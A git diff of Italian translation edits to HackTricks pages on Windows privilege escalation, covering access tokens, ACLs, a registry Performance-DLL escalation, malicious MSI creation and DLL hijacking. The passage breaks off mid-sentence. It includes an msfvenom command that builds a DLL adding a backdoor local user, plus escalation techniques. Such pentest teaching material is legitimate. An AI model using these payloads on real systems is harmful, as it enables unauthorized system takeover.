-[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Controlla possibili configurazioni errate (exe da python). Non raccomandato. Non funziona bene in Win10. +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Controlla per misconfigurazioni (eseguibile precompilato in github). Non raccomandato. Non funziona bene in Win10.\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Controlla per possibili misconfigurazioni (exe da python). Non raccomandato. Non funziona bene in Win10. **Bat** diff --git a/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md b/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md index ae45078b3..9eeebd9c1 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md +++ b/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md @@ -70,17 +70,17 @@ Puoi avviare un processo che **utilizza credenziali diverse per accedere ai serv ``` runas /user:domain\username /netonly cmd.exe ``` -Questo è utile se hai credenziali valide per accedere a oggetti nella rete, ma quelle credenziali non sono valide all'interno dell'host attuale poiché saranno utilizzate solo nella rete (nell'host attuale verranno utilizzati i privilegi dell'utente corrente). +Questo è utile se hai credenziali utili per accedere a oggetti nella rete, ma quelle credenziali non sono valide all'interno dell'host attuale poiché saranno utilizzate solo nella rete (nell'host attuale verranno utilizzati i privilegi dell'utente corrente). ### Tipi di token Ci sono due tipi di token disponibili: - **Token Primario**: Serve come rappresentazione delle credenziali di sicurezza di un processo. La creazione e l'associazione di token primari con i processi sono azioni che richiedono privilegi elevati, sottolineando il principio di separazione dei privilegi. Tipicamente, un servizio di autenticazione è responsabile della creazione del token, mentre un servizio di accesso gestisce la sua associazione con la shell del sistema operativo dell'utente. È importante notare che i processi ereditano il token primario del loro processo padre al momento della creazione. -- **Token di Impersonificazione**: Consente a un'applicazione server di adottare temporaneamente l'identità del client per accedere a oggetti sicuri. Questo meccanismo è stratificato in quattro livelli di operazione: +- **Token di Impersonificazione**: Consente a un'applicazione server di adottare temporaneamente l'identità del cliente per accedere a oggetti sicuri. Questo meccanismo è stratificato in quattro livelli di operazione: - **Anonimo**: Concede accesso al server simile a quello di un utente non identificato. -- **Identificazione**: Consente al server di verificare l'identità del client senza utilizzarla per l'accesso agli oggetti. -- **Impersonificazione**: Abilita il server a operare sotto l'identità del client. +- **Identificazione**: Consente al server di verificare l'identità del cliente senza utilizzarla per l'accesso agli oggetti. +- **Impersonificazione**: Abilita il server a operare sotto l'identità del cliente. - **Delegazione**: Simile all'Impersonificazione, ma include la possibilità di estendere questa assunzione di identità a sistemi remoti con cui il server interagisce, garantendo la preservazione delle credenziali. #### Token di Impersonificazione diff --git a/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md b/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md index fd977b684..b2432fd93 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md +++ b/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md @@ -22,7 +22,7 @@ Il processo di accesso a un file comporta che il sistema controlli il descrittor Ogni sessione utente è associata a un token di accesso che contiene informazioni di sicurezza rilevanti per quella sessione, inclusi identità utente, di gruppo e privilegi. Questo token include anche un SID di accesso che identifica univocamente la sessione. -L'Autorità di Sicurezza Locale (LSASS) elabora le richieste di accesso agli oggetti esaminando il DACL per le ACEs che corrispondono al principio di sicurezza che tenta di accedere. L'accesso viene immediatamente concesso se non vengono trovate ACEs rilevanti. Altrimenti, LSASS confronta le ACEs con il SID del principio di sicurezza nel token di accesso per determinare l'idoneità all'accesso. +L'Autorità di Sicurezza Locale (LSASS) elabora le richieste di accesso agli oggetti esaminando il DACL per le ACEs che corrispondono al principio di sicurezza che tenta di accedere. L'accesso è immediatamente concesso se non vengono trovate ACEs rilevanti. Altrimenti, LSASS confronta le ACEs con il SID del principio di sicurezza nel token di accesso per determinare l'idoneità all'accesso. ### **Summarized Process** @@ -42,10 +42,10 @@ Ogni ACE ha **quattro componenti critiche**: 1. Il **Security Identifier (SID)** dell'utente o del gruppo (o il loro nome principale in una rappresentazione grafica). 2. Un **flag** che identifica il tipo di ACE (accesso negato, consentito o audit di sistema). -3. **Flags di ereditarietà** che determinano se gli oggetti figli possono ereditare l'ACE dal loro genitore. +3. **Flags di eredità** che determinano se gli oggetti figli possono ereditare l'ACE dal loro genitore. 4. Un [**access mask**](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/7a53f60e-e730-4dfe-bbe9-b21b62eb790b?redirectedfrom=MSDN), un valore a 32 bit che specifica i diritti concessi all'oggetto. -La determinazione dell'accesso viene condotta esaminando sequenzialmente ogni ACE fino a quando: +La determinazione dell'accesso viene condotta esaminando sequenzialmente ogni ACE fino a: - Un **Access-Denied ACE** nega esplicitamente i diritti richiesti a un fiduciario identificato nel token di accesso. - **Access-Allowed ACE(s)** concedono esplicitamente tutti i diritti richiesti a un fiduciario nel token di accesso. @@ -57,7 +57,7 @@ Il modo in cui le **ACEs** (regole che dicono chi può o non può accedere a qua C'è un modo migliore per organizzare queste ACEs, e si chiama **"ordine canonico."** Questo metodo aiuta a garantire che tutto funzioni senza intoppi e in modo equo. Ecco come funziona per sistemi come **Windows 2000** e **Windows Server 2003**: -- Prima, metti tutte le regole che sono fatte **specificamente per questo elemento** prima di quelle che provengono da altrove, come una cartella genitore. +- Prima, metti tutte le regole fatte **specificamente per questo elemento** prima di quelle che provengono da altrove, come una cartella genitore. - In quelle regole specifiche, metti quelle che dicono **"no" (nega)** prima di quelle che dicono **"sì" (consenti)**. - Per le regole che provengono da altrove, inizia con quelle della **fonte più vicina**, come il genitore, e poi torna indietro da lì. Ancora una volta, metti **"no"** prima di **"sì."** @@ -76,11 +76,11 @@ Quindi, questo **"ordine canonico"** riguarda tutto il garantire che le regole d [**Esempio da qui**](https://secureidentity.se/acl-dacl-sacl-and-the-ace/) -Questa è la classica scheda di sicurezza di una cartella che mostra l'ACL, DACL e ACEs: +Questa è la scheda di sicurezza classica di una cartella che mostra l'ACL, DACL e ACEs: ![http://secureidentity.se/wp-content/uploads/2014/04/classicsectab.jpg](../../images/classicsectab.jpg) -Se clicchiamo sul **pulsante Avanzate**, otterremo più opzioni come l'ereditarietà: +Se clicchiamo sul **pulsante Avanzate**, otterremo più opzioni come l'eredità: ![http://secureidentity.se/wp-content/uploads/2014/04/aceinheritance.jpg](../../images/aceinheritance.jpg) @@ -94,7 +94,7 @@ E infine abbiamo il SACL nella scheda di Audit: ### Explaining Access Control in a Simplified Manner -Quando gestiamo l'accesso alle risorse, come una cartella, utilizziamo elenchi e regole noti come Access Control Lists (ACLs) e Access Control Entries (ACEs). Questi definiscono chi può o non può accedere a determinati dati. +Quando gestiamo l'accesso alle risorse, come una cartella, utilizziamo liste e regole note come Access Control Lists (ACLs) e Access Control Entries (ACEs). Queste definiscono chi può o non può accedere a determinati dati. #### Denying Access to a Specific Group @@ -108,7 +108,7 @@ Diciamo che Bob, il direttore marketing, ha bisogno di accesso alla cartella Cos Le ACEs sono le singole regole in un'ACL. Identificano utenti o gruppi, specificano quali accessi sono consentiti o negati e determinano come queste regole si applicano agli elementi secondari (ereditarietà). Ci sono due principali tipi di ACEs: -- **Generic ACEs**: Queste si applicano in modo ampio, influenzando tutti i tipi di oggetti o distinguendo solo tra contenitori (come cartelle) e non contenitori (come file). Ad esempio, una regola che consente agli utenti di vedere i contenuti di una cartella ma non di accedere ai file al suo interno. +- **Generic ACEs**: Queste si applicano in modo ampio, influenzando tutti i tipi di oggetti o distinguendo solo tra contenitori (come cartelle) e non contenitori (come file). Ad esempio, una regola che consente agli utenti di vedere il contenuto di una cartella ma non di accedere ai file al suo interno. - **Object-Specific ACEs**: Queste forniscono un controllo più preciso, consentendo di impostare regole per tipi specifici di oggetti o persino per singole proprietà all'interno di un oggetto. Ad esempio, in una directory di utenti, una regola potrebbe consentire a un utente di aggiornare il proprio numero di telefono ma non le proprie ore di accesso. Ogni ACE contiene informazioni importanti come a chi si applica la regola (utilizzando un Security Identifier o SID), cosa consente o nega la regola (utilizzando un access mask) e come viene ereditata da altri oggetti. @@ -118,7 +118,7 @@ Ogni ACE contiene informazioni importanti come a chi si applica la regola (utili - **Generic ACEs** sono adatte per scenari di controllo accessi semplici, dove la stessa regola si applica a tutti gli aspetti di un oggetto o a tutti gli oggetti all'interno di un contenitore. - **Object-Specific ACEs** sono utilizzate per scenari più complessi, specialmente in ambienti come Active Directory, dove potrebbe essere necessario controllare l'accesso a proprietà specifiche di un oggetto in modo diverso. -In sintesi, le ACLs e le ACEs aiutano a definire controlli di accesso precisi, assicurando che solo gli individui o i gruppi giusti abbiano accesso a informazioni o risorse sensibili, con la possibilità di personalizzare i diritti di accesso fino al livello delle singole proprietà o tipi di oggetti. +In sintesi, ACLs e ACEs aiutano a definire controlli di accesso precisi, assicurando che solo gli individui o i gruppi giusti abbiano accesso a informazioni o risorse sensibili, con la possibilità di personalizzare i diritti di accesso fino al livello delle singole proprietà o tipi di oggetti. ### Access Control Entry Layout @@ -127,7 +127,7 @@ In sintesi, le ACLs e le ACEs aiutano a definire controlli di accesso precisi, a | Type | Flag che indica il tipo di ACE. Windows 2000 e Windows Server 2003 supportano sei tipi di ACE: Tre tipi di ACE generici che sono attaccati a tutti gli oggetti sicuri. Tre tipi di ACE specifici per oggetti che possono verificarsi per oggetti di Active Directory. | | Flags | Insieme di flag bit che controllano l'ereditarietà e l'audit. | | Size | Numero di byte di memoria allocati per l'ACE. | -| Access mask | Valore a 32 bit i cui bit corrispondono ai diritti di accesso per l'oggetto. I bit possono essere impostati accesi o spenti, ma il significato dell'impostazione dipende dal tipo di ACE. Ad esempio, se il bit che corrisponde al diritto di leggere i permessi è attivato, e il tipo di ACE è Nega, l'ACE nega il diritto di leggere i permessi dell'oggetto. Se lo stesso bit è impostato su acceso ma il tipo di ACE è Consenti, l'ACE concede il diritto di leggere i permessi dell'oggetto. Maggiori dettagli sull'Access mask appaiono nella tabella successiva. | +| Access mask | Valore a 32 bit i cui bit corrispondono ai diritti di accesso per l'oggetto. I bit possono essere impostati sia su che giù, ma il significato dell'impostazione dipende dal tipo di ACE. Ad esempio, se il bit che corrisponde al diritto di leggere i permessi è attivato, e il tipo di ACE è Nega, l'ACE nega il diritto di leggere i permessi dell'oggetto. Se lo stesso bit è attivato ma il tipo di ACE è Consenti, l'ACE concede il diritto di leggere i permessi dell'oggetto. Maggiori dettagli sull'Access mask appaiono nella tabella successiva. | | SID | Identifica un utente o un gruppo il cui accesso è controllato o monitorato da questo ACE. | ### Access Mask Layout @@ -138,7 +138,7 @@ In sintesi, le ACLs e le ACEs aiutano a definire controlli di accesso precisi, a | 16 - 22 | Diritti di Accesso Standard | Elimina, Scrivi ACL, Scrivi Proprietario | | 23 | Può accedere alla sicurezza ACL | | | 24 - 27 | Riservato | | -| 28 | Generico TUTTO (Leggi, Scrivi, Esegui) | Tutto sotto | +| 28 | Generico TUTTI (Leggi, Scrivi, Esegui) | Tutto sotto | | 29 | Generico Esegui | Tutte le cose necessarie per eseguire un programma | | 30 | Generico Scrivi | Tutte le cose necessarie per scrivere in un file | | 31 | Generico Leggi | Tutte le cose necessarie per leggere un file | diff --git a/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md b/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md index 46cb4449a..19bd676db 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md +++ b/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md @@ -13,13 +13,13 @@ Due chiavi di registro sono state trovate scrivibili dall'utente attuale: Uno screenshot mostrava i permessi assegnati a un utente a basso privilegio, tra cui il permesso **Crea Sottocchiave** era notevole. Questo permesso, noto anche come **AppendData/AddSubdirectory**, corrisponde ai risultati dello script. -È stata notata l'impossibilità di modificare direttamente alcuni valori, ma la capacità di creare nuove sottocchiavi. Un esempio evidenziato è stato un tentativo di alterare il valore **ImagePath**, che ha portato a un messaggio di accesso negato. +È stata notata l'incapacità di modificare direttamente alcuni valori, ma la capacità di creare nuove sottocchiavi. Un esempio evidenziato è stato un tentativo di alterare il valore **ImagePath**, che ha portato a un messaggio di accesso negato. Nonostante queste limitazioni, è stata identificata una potenzialità di escalation dei privilegi attraverso la possibilità di sfruttare la sottocchiave **Performance** all'interno della struttura di registro del servizio **RpcEptMapper**, una sottocchiave non presente per impostazione predefinita. Questo potrebbe consentire la registrazione di DLL e il monitoraggio delle prestazioni. -È stata consultata la documentazione sulla sottocchiave **Performance** e il suo utilizzo per il monitoraggio delle prestazioni, portando allo sviluppo di una DLL di prova di concetto. Questa DLL, che dimostra l'implementazione delle funzioni **OpenPerfData**, **CollectPerfData** e **ClosePerfData**, è stata testata tramite **rundll32**, confermando il suo successo operativo. +È stata consultata la documentazione sulla sottocchiave **Performance** e il suo utilizzo per il monitoraggio delle prestazioni, portando allo sviluppo di una DLL proof-of-concept. Questa DLL, che dimostra l'implementazione delle funzioni **OpenPerfData**, **CollectPerfData** e **ClosePerfData**, è stata testata tramite **rundll32**, confermando il suo successo operativo. -L'obiettivo era costringere il **servizio RPC Endpoint Mapper** a caricare la DLL di Performance creata. Le osservazioni hanno rivelato che l'esecuzione di query di classi WMI relative ai Dati di Performance tramite PowerShell ha portato alla creazione di un file di log, consentendo l'esecuzione di codice arbitrario nel contesto di **LOCAL SYSTEM**, concedendo così privilegi elevati. +L'obiettivo era costringere il **servizio RPC Endpoint Mapper** a caricare la DLL Performance creata. Le osservazioni hanno rivelato che l'esecuzione di query di classi WMI relative ai Dati di Prestazione tramite PowerShell ha portato alla creazione di un file di log, consentendo l'esecuzione di codice arbitrario nel contesto di **LOCAL SYSTEM**, concedendo così privilegi elevati. Sono state sottolineate la persistenza e le potenziali implicazioni di questa vulnerabilità, evidenziando la sua rilevanza per le strategie di post-sfruttamento, movimento laterale e evasione dei sistemi antivirus/EDR. diff --git a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md b/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md index 500da9afc..7cd1a4248 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md +++ b/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md @@ -1,8 +1,8 @@ {{#include ../../banners/hacktricks-training.md}} -# Creazione di MSI Maliziosi e Ottenimento di Root +# Creazione di MSI Maliziosi e Ottenimento dei Privilegi di Root -La creazione dell'installer MSI sarà effettuata utilizzando wixtools, in particolare [wixtools](http://wixtoolset.org) sarà utilizzato. Vale la pena menzionare che sono stati tentati costruttori MSI alternativi, ma non hanno avuto successo in questo caso particolare. +La creazione dell'installer MSI sarà effettuata utilizzando wixtools, in particolare verranno utilizzati [wixtools](http://wixtoolset.org). Vale la pena menzionare che sono stati tentati costruttori MSI alternativi, ma non hanno avuto successo in questo caso particolare. Per una comprensione completa degli esempi di utilizzo di wix MSI, è consigliabile consultare [questa pagina](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with). Qui puoi trovare vari esempi che dimostrano l'uso di wix MSI. diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md index 13a353d85..89fa0bdbd 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md @@ -6,11 +6,11 @@ ## Informazioni di base -Il DLL Hijacking comporta la manipolazione di un'applicazione fidata per caricare un DLL malevolo. Questo termine comprende diverse tattiche come **DLL Spoofing, Injection e Side-Loading**. È principalmente utilizzato per l'esecuzione di codice, per ottenere persistenza e, meno comunemente, per l'escalation dei privilegi. Nonostante il focus sull'escalation qui, il metodo di hijacking rimane coerente attraverso gli obiettivi. +Il DLL Hijacking comporta la manipolazione di un'applicazione fidata per caricare un DLL malevolo. Questo termine comprende diverse tattiche come **DLL Spoofing, Injection e Side-Loading**. È principalmente utilizzato per l'esecuzione di codice, per ottenere persistenza e, meno comunemente, per l'escalation dei privilegi. Nonostante l'attenzione sull'escalation qui, il metodo di hijacking rimane coerente attraverso gli obiettivi. ### Tecniche comuni -Vengono impiegati diversi metodi per il DLL hijacking, ognuno con la propria efficacia a seconda della strategia di caricamento del DLL dell'applicazione: +Vengono impiegati diversi metodi per il DLL hijacking, ciascuno con la propria efficacia a seconda della strategia di caricamento del DLL dell'applicazione: 1. **Sostituzione DLL**: Sostituire un DLL genuino con uno malevolo, utilizzando eventualmente il DLL Proxying per preservare la funzionalità del DLL originale. 2. **Hijacking dell'ordine di ricerca DLL**: Posizionare il DLL malevolo in un percorso di ricerca prima di quello legittimo, sfruttando il modello di ricerca dell'applicazione. @@ -31,7 +31,7 @@ e mostrare solo l'**Attività del File System**: ![](<../../images/image (314).png>) -Se stai cercando **DLL mancanti in generale**, puoi **lasciare** questo in esecuzione per alcuni **secondi**.\ +Se stai cercando **DLL mancanti in generale**, puoi **lasciarlo** in esecuzione per alcuni **secondi**.\ Se stai cercando un **DLL mancante all'interno di un eseguibile specifico**, dovresti impostare **un altro filtro come "Nome processo" "contiene" "\", eseguirlo e fermare la cattura degli eventi**. ## Sfruttare DLL mancanti @@ -51,21 +51,21 @@ Puoi vedere l'**ordine di ricerca DLL sui sistemi a 32 bit** qui sotto: 3. La directory di sistema a 16 bit. Non esiste una funzione che ottiene il percorso di questa directory, ma viene cercata. (_C:\Windows\System_) 4. La directory di Windows. Usa la funzione [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) per ottenere il percorso di questa directory. (_C:\Windows_) 5. La directory corrente. -6. Le directory elencate nella variabile di ambiente PATH. Nota che questo non include il percorso per applicazione specificato dalla chiave di registro **App Paths**. La chiave **App Paths** non viene utilizzata quando si calcola il percorso di ricerca del DLL. +6. Le directory elencate nella variabile di ambiente PATH. Nota che questo non include il percorso per applicazione specificato dalla chiave di registro **App Paths**. La chiave **App Paths** non viene utilizzata quando si calcola il percorso di ricerca DLL. Questo è l'**ordine di ricerca predefinito** con **SafeDllSearchMode** abilitato. Quando è disabilitato, la directory corrente sale al secondo posto. Per disabilitare questa funzionalità, crea il valore di registro **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** e impostalo su 0 (il predefinito è abilitato). Se la funzione [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) viene chiamata con **LOAD_WITH_ALTERED_SEARCH_PATH**, la ricerca inizia nella directory del modulo eseguibile che **LoadLibraryEx** sta caricando. -Infine, nota che **un DLL potrebbe essere caricato indicando il percorso assoluto invece del solo nome**. In tal caso, quel DLL è **solo cercato in quel percorso** (se il DLL ha dipendenze, queste verranno cercate come appena caricate per nome). +Infine, nota che **un DLL potrebbe essere caricato indicando il percorso assoluto invece del solo nome**. In tal caso, quel DLL è **cercato solo in quel percorso** (se il DLL ha dipendenze, queste verranno cercate come se fossero state caricate solo per nome). -Ci sono altri modi per alterare i modi di alterare l'ordine di ricerca, ma non spiegherò qui. +Ci sono altri modi per alterare i modi di alterare l'ordine di ricerca, ma non li spiegherò qui. #### Eccezioni all'ordine di ricerca DLL dalla documentazione di Windows Alcune eccezioni all'ordine di ricerca DLL standard sono annotate nella documentazione di Windows: -- Quando si incontra un **DLL che condivide il proprio nome con uno già caricato in memoria**, il sistema bypassa la ricerca abituale. Invece, esegue un controllo per il reindirizzamento e un manifesto prima di tornare al DLL già in memoria. **In questo scenario, il sistema non esegue una ricerca per il DLL**. +- Quando si incontra un **DLL che condivide il proprio nome con uno già caricato in memoria**, il sistema salta la ricerca abituale. Invece, esegue un controllo per il reindirizzamento e un manifesto prima di tornare al DLL già in memoria. **In questo scenario, il sistema non esegue una ricerca per il DLL**. - Nei casi in cui il DLL è riconosciuto come un **DLL noto** per la versione corrente di Windows, il sistema utilizzerà la sua versione del DLL noto, insieme a qualsiasi DLL dipendente, **saltando il processo di ricerca**. La chiave di registro **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** contiene un elenco di questi DLL noti. - Se un **DLL ha dipendenze**, la ricerca di questi DLL dipendenti viene condotta come se fossero indicati solo dai loro **nomi di modulo**, indipendentemente dal fatto che il DLL iniziale sia stato identificato tramite un percorso completo. @@ -77,7 +77,7 @@ Alcune eccezioni all'ordine di ricerca DLL standard sono annotate nella document - Assicurarsi che ci sia **accesso in scrittura** per qualsiasi **directory** in cui il **DLL** sarà **cercato**. Questa posizione potrebbe essere la directory dell'eseguibile o una directory all'interno del percorso di sistema. Sì, i requisiti sono complicati da trovare poiché **per impostazione predefinita è piuttosto strano trovare un eseguibile privilegiato mancante di un DLL** ed è ancora **più strano avere permessi di scrittura su una cartella di percorso di sistema** (non puoi per impostazione predefinita). Ma, in ambienti mal configurati, questo è possibile.\ -Nel caso tu sia fortunato e ti trovi a soddisfare i requisiti, potresti controllare il progetto [UACME](https://github.com/hfiref0x/UACME). Anche se il **principale obiettivo del progetto è bypassare UAC**, potresti trovare lì un **PoC** di un Dll hijacking per la versione di Windows che puoi utilizzare (probabilmente cambiando solo il percorso della cartella in cui hai permessi di scrittura). +Nel caso tu sia fortunato e ti trovi a soddisfare i requisiti, potresti controllare il progetto [UACME](https://github.com/hfiref0x/UACME). Anche se **l'obiettivo principale del progetto è bypassare UAC**, potresti trovare lì un **PoC** di un Dll hijacking per la versione di Windows che puoi utilizzare (probabilmente cambiando solo il percorso della cartella in cui hai permessi di scrittura). Nota che puoi **controllare i tuoi permessi in una cartella** facendo: ```bash @@ -133,7 +133,7 @@ msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll ``` ### Il tuo -Nota che in diversi casi il Dll che compili deve **esportare diverse funzioni** che verranno caricate dal processo vittima; se queste funzioni non esistono, il **binary non sarà in grado di caricarle** e l'**exploit fallirà**. +Nota che in diversi casi il Dll che compili deve **esportare diverse funzioni** che verranno caricate dal processo vittima; se queste funzioni non esistono, il **binario non sarà in grado di caricarle** e l'**exploit fallirà**. ```c // Tested in Win10 // i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md index defde72e1..0b371f406 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md @@ -2,28 +2,23 @@ {{#include ../../../banners/hacktricks-training.md}} -
-**Bug bounty tip**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare ricompense fino a **$100,000**! +## Informazioni di base -{% embed url="https://go.intigriti.com/hacktricks" %} +Il DLL Hijacking comporta la manipolazione di un'applicazione fidata per caricare un DLL malevolo. Questo termine comprende diverse tattiche come **DLL Spoofing, Injection e Side-Loading**. È principalmente utilizzato per l'esecuzione di codice, per ottenere persistenza e, meno comunemente, per l'escalation dei privilegi. Nonostante l'attenzione sull'escalation qui, il metodo di hijacking rimane coerente attraverso gli obiettivi. -## Basic Information +### Tecniche comuni -DLL Hijacking implica la manipolazione di un'applicazione fidata per caricare un DLL malevolo. Questo termine comprende diverse tattiche come **DLL Spoofing, Injection, e Side-Loading**. È principalmente utilizzato per l'esecuzione di codice, per ottenere persistenza e, meno comunemente, per l'escalation dei privilegi. Nonostante il focus sull'escalation qui, il metodo di hijacking rimane coerente attraverso gli obiettivi. +Vengono impiegati diversi metodi per il DLL hijacking, ciascuno con la propria efficacia a seconda della strategia di caricamento del DLL dell'applicazione: -### Common Techniques +1. **Sostituzione del DLL**: Sostituire un DLL genuino con uno malevolo, utilizzando eventualmente il DLL Proxying per preservare la funzionalità del DLL originale. +2. **Hijacking dell'ordine di ricerca del DLL**: Posizionare il DLL malevolo in un percorso di ricerca prima di quello legittimo, sfruttando il modello di ricerca dell'applicazione. +3. **Hijacking del DLL fantasma**: Creare un DLL malevolo affinché un'applicazione lo carichi, pensando che sia un DLL richiesto non esistente. +4. **Reindirizzamento del DLL**: Modificare i parametri di ricerca come `%PATH%` o i file `.exe.manifest` / `.exe.local` per indirizzare l'applicazione al DLL malevolo. +5. **Sostituzione del DLL WinSxS**: Sostituire il DLL legittimo con un corrispondente malevolo nella directory WinSxS, un metodo spesso associato al side-loading del DLL. +6. **Hijacking del DLL con percorso relativo**: Posizionare il DLL malevolo in una directory controllata dall'utente con l'applicazione copiata, somigliante alle tecniche di Binary Proxy Execution. -Vengono impiegati diversi metodi per il DLL hijacking, ognuno con la propria efficacia a seconda della strategia di caricamento del DLL dell'applicazione: - -1. **DLL Replacement**: Sostituzione di un DLL genuino con uno malevolo, utilizzando eventualmente il DLL Proxying per preservare la funzionalità del DLL originale. -2. **DLL Search Order Hijacking**: Posizionamento del DLL malevolo in un percorso di ricerca prima di quello legittimo, sfruttando il modello di ricerca dell'applicazione. -3. **Phantom DLL Hijacking**: Creazione di un DLL malevolo affinché un'applicazione lo carichi, pensando che sia un DLL richiesto non esistente. -4. **DLL Redirection**: Modifica dei parametri di ricerca come `%PATH%` o file `.exe.manifest` / `.exe.local` per indirizzare l'applicazione al DLL malevolo. -5. **WinSxS DLL Replacement**: Sostituzione del DLL legittimo con un corrispondente malevolo nella directory WinSxS, un metodo spesso associato al DLL side-loading. -6. **Relative Path DLL Hijacking**: Posizionamento del DLL malevolo in una directory controllata dall'utente con l'applicazione copiata, somigliante alle tecniche di Binary Proxy Execution. - -## Finding missing Dlls +## Trovare DLL mancanti Il modo più comune per trovare DLL mancanti all'interno di un sistema è eseguire [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) da sysinternals, **impostando** i **seguenti 2 filtri**: @@ -35,53 +30,52 @@ e mostrare solo l'**Attività del File System**: ![](<../../../images/image (153).png>) -Se stai cercando **dll mancanti in generale** puoi **lasciare** questo in esecuzione per alcuni **secondi**.\ -Se stai cercando un **dll mancante all'interno di un eseguibile specifico** dovresti impostare **un altro filtro come "Process Name" "contains" "\", eseguirlo e fermare la cattura degli eventi**. +Se stai cercando **DLL mancanti in generale**, puoi **lasciarlo** in esecuzione per alcuni **secondi**.\ +Se stai cercando un **DLL mancante all'interno di un eseguibile specifico**, dovresti impostare **un altro filtro come "Nome processo" "contiene" "\", eseguirlo e fermare la cattura degli eventi**. -## Exploiting Missing Dlls +## Sfruttare DLL mancanti -Per poter elevare i privilegi, la migliore possibilità che abbiamo è quella di **scrivere un dll che un processo privilegiato cercherà di caricare** in qualche **luogo dove verrà cercato**. Pertanto, saremo in grado di **scrivere** un dll in una **cartella** dove il **dll viene cercato prima** della cartella dove si trova il **dll originale** (caso strano), oppure saremo in grado di **scrivere in qualche cartella dove il dll verrà cercato** e il **dll originale non esiste** in nessuna cartella. +Per poter elevare i privilegi, la migliore possibilità che abbiamo è quella di **scrivere un DLL che un processo privilegiato cercherà di caricare** in alcuni **luoghi dove verrà cercato**. Pertanto, saremo in grado di **scrivere** un DLL in una **cartella** dove il **DLL viene cercato prima** della cartella dove si trova il **DLL originale** (caso strano), oppure saremo in grado di **scrivere in una cartella dove il DLL verrà cercato** e il **DLL originale non esiste** in alcuna cartella. -### Dll Search Order +### Ordine di ricerca del DLL **All'interno della** [**documentazione Microsoft**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **puoi trovare come i DLL vengono caricati specificamente.** -**Le applicazioni Windows** cercano i DLL seguendo un insieme di **percorsi di ricerca predefiniti**, aderendo a una particolare sequenza. Il problema del DLL hijacking sorge quando un DLL dannoso è strategicamente posizionato in una di queste directory, assicurando che venga caricato prima del DLL autentico. Una soluzione per prevenire questo è garantire che l'applicazione utilizzi percorsi assoluti quando si riferisce ai DLL di cui ha bisogno. +**Le applicazioni Windows** cercano i DLL seguendo un insieme di **percorsi di ricerca predefiniti**, aderendo a una particolare sequenza. Il problema del DLL hijacking sorge quando un DLL dannoso è posizionato strategicamente in una di queste directory, assicurando che venga caricato prima del DLL autentico. Una soluzione per prevenire questo è garantire che l'applicazione utilizzi percorsi assoluti quando si riferisce ai DLL di cui ha bisogno. -Puoi vedere l'**ordine di ricerca dei DLL su sistemi a 32 bit** qui sotto: +Puoi vedere l'**ordine di ricerca del DLL sui sistemi a 32 bit** qui sotto: -1. La directory da cui l'applicazione è stata caricata. -2. La directory di sistema. Usa la funzione [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) per ottenere il percorso di questa directory.(_C:\Windows\System32_) +1. La directory da cui è stato caricato l'applicativo. +2. La directory di sistema. Usa la funzione [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) per ottenere il percorso di questa directory. (_C:\Windows\System32_) 3. La directory di sistema a 16 bit. Non esiste una funzione che ottiene il percorso di questa directory, ma viene cercata. (_C:\Windows\System_) -4. La directory di Windows. Usa la funzione [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) per ottenere il percorso di questa directory. -1. (_C:\Windows_) +4. La directory di Windows. Usa la funzione 